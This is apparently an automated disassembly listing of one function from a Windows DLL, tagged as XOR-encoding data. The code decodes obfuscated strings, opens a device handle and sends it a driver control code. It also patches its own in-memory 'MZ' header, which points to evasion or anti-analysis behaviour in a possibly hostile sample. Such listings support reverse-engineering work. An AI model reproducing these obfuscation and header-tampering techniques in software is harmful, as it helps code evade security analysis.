Function at 0x180023c40
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0xd0
mov edi, ecx
xor esi, esi
mov rcx, qword [0x180349fa8]
mov rbx, rdx
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x1800238f3
cmp dword [reloc.WS2_32.dll_accept], 2
lea r9d, [rsi + 4]
movups xmm0, xmmword [0x18014df80]
movzx eax, word [0x18014dfb0]
mov ecx, esi
movups xmm1, xmmword [0x18014df90]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x18014dfa0]
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x70], xmm0
mov word [r11 - 0x58], ax
jl 0x18002386e
movdqa xmm5, xmmword [0x180151790]
lea rdx, [rsp + 0x50]
movdqa xmm4, xmmword [0x180151970]
mov eax, 0x1f
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1801517b0]
movaps xmmword [r11 - 0x38], xmm8
movaps xmmword [r11 - 0x48], xmm9
movdqa xmm9, xmmword [0x180151890]
movd xmm8, eax
movd xmm6, r9d
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x18
jl 0x180023760
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0xc0]
cmp ecx, 0x19
jge 0x1800238b1
movsxd rax, ecx
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x31
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x37
xor word [r8 - 2], ax
cmp ecx, 0x19
jl 0x180023880
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rax
mov qword [0x180349fa8], rax
dec rax
cmp rax, 0xfffffffffffffffd
jbe 0x1800238f3
mov eax, 1
jmp 0x180023965
mov dword [rsp + 0x48], esi
lea rax, [0x180349fb0]
mov qword [rsp + 0x40], rsi
lea r10, [0x1801662e8]
mov dword [rsp + 0x38], 0x50
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0x221998
xor edx, edx
mov qword [rsp + 0x20], rax
mov dword [rbx + 0x44], edi
call r10
mov ebx, eax
cmp edi, 0x666
jne 0x180023963
test eax, eax
je 0x180023963
cmp eax, 0x25
je 0x180023963
mov rcx, qword [0x180349fa8]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x180023963
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [0x180349fa8], rsi
mov eax, ebx
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x20], rdi
push rbp
lea rbp, [r11 - 0x5f]
sub rsp, 0xd0
mov edi, ecx
xor esi, esi
mov rcx, qword [0x180349fa8]
mov rbx, rdx
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x180023ba9
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, esi
movups xmm3, xmmword [str.kLR_Xbq5_.C]
movzx eax, word [0x18014df78]
movsd xmm0, qword [0x18014df70]
movups xmmword [rbp - 9], xmm3
mov word [rbp + 0xf], ax
movsd qword [rbp + 7], xmm0
jl 0x180023ae1
movdqa xmm2, xmmword [0x180151790]
mov eax, 4
movdqa xmm4, xmmword [0x180151970]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [r11 - 0x18], xmm6
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movd xmm5, eax
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x1801517a0]
paddw xmm2, xmmword [0x180151890]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rbp - 9], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movaps xmm6, xmmword [r11 - 0x18]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 1]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180151890]
xorps xmm2, xmm0
movq qword [rbp - 1], xmm2
movsxd rax, ecx
lea r8, [rbp - 9]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x31
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x37
xor word [r8 - 2], ax
cmp ecx, 0xd
jl 0x180023af0
xorps xmm0, xmm0
mov dword [rbp + 0x1b], esi
lea rdx, [rbp - 9]
mov dword [rbp + 0x33], esi
lea rcx, [rbp - 0x29]
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x29]
mov dword [rsp + 0x28], 0x40
xorps xmm0, xmm0
mov qword [rbp + 0x27], rax
lea r9, [rbp - 0x19]
mov dword [rbp + 0x17], 0x30
lea r8, [rbp + 0x17]
mov qword [rbp + 0x1f], rsi
mov edx, 0x12019f
mov dword [rbp + 0x2f], 0x40
lea rcx, [rbp + 0x77]
mov qword [rbp + 0x77], rsi
movdqu xmmword [rbp + 0x37], xmm0
mov dword [rsp + 0x20], 3
call qword [sym.imp.ntdll.dll_NtOpenFile]
mov rcx, qword [rbp + 0x77]
mov qword [0x180349fa8], rcx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
jbe 0x180023ba9
mov eax, 1
jmp 0x180023c1b
mov dword [rsp + 0x48], esi
lea rax, [0x180349fb0]
mov qword [rsp + 0x40], rsi
lea r10, [0x1801662e8]
mov dword [rsp + 0x38], 0x50
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0x221998
xor edx, edx
mov qword [rsp + 0x20], rax
mov dword [rbx + 0x44], edi
call r10
mov ebx, eax
cmp edi, 0x666
jne 0x180023c19
test eax, eax
je 0x180023c19
cmp eax, 0x25
je 0x180023c19
mov rcx, qword [0x180349fa8]
lea rdx, [rcx - 1]
cmp rdx, 0xfffffffffffffffd
ja 0x180023c19
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [0x180349fa8], rsi
mov eax, ebx
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
push rbx
sub rsp, 0x20
mov r8d, dword [0x180349fc8]
mov rbx, rdx
mov dword [rdx + 0x44], ecx
sub r8d, 1
je 0x180023d55
sub r8d, 1
je 0x180023d4b
sub r8d, 1
je 0x180023d4b
cmp r8d, 1
je 0x180023c7f
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov dword [rdx + 0x4c], 0x458
mov qword [rsp + 0x40], rdi
mov rdi, qword gs:[0x50]
mov qword gs:[0x50], rbx
cmp byte [0x18034a2d8], 0
jne 0x180023cda
xor ecx, ecx
mov byte [0x18034a2d8], 1
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 4
lea r9, [rsp + 0x30]
mov r8d, edx
mov qword [0x18034a2d0], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x18034a2d0]
mov word [rax], 0x4855
call fcn.1800233d0
mov qword gs:[0x50], rdi
cmp byte [0x18034a2d8], 0
mov rdi, qword [rsp + 0x40]
jne 0x180023d36
xor ecx, ecx
mov byte [0x18034a2d8], 1
mov dword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 4
lea r9, [rsp + 0x38]
mov r8d, edx
mov qword [0x18034a2d0], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x18034a2d0]
mov word [rax], 0x5a4d
mov eax, dword [rbx + 0x4c]
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp 0x1800236a0
add rsp, 0x20
pop rbx
jmp 0x180023980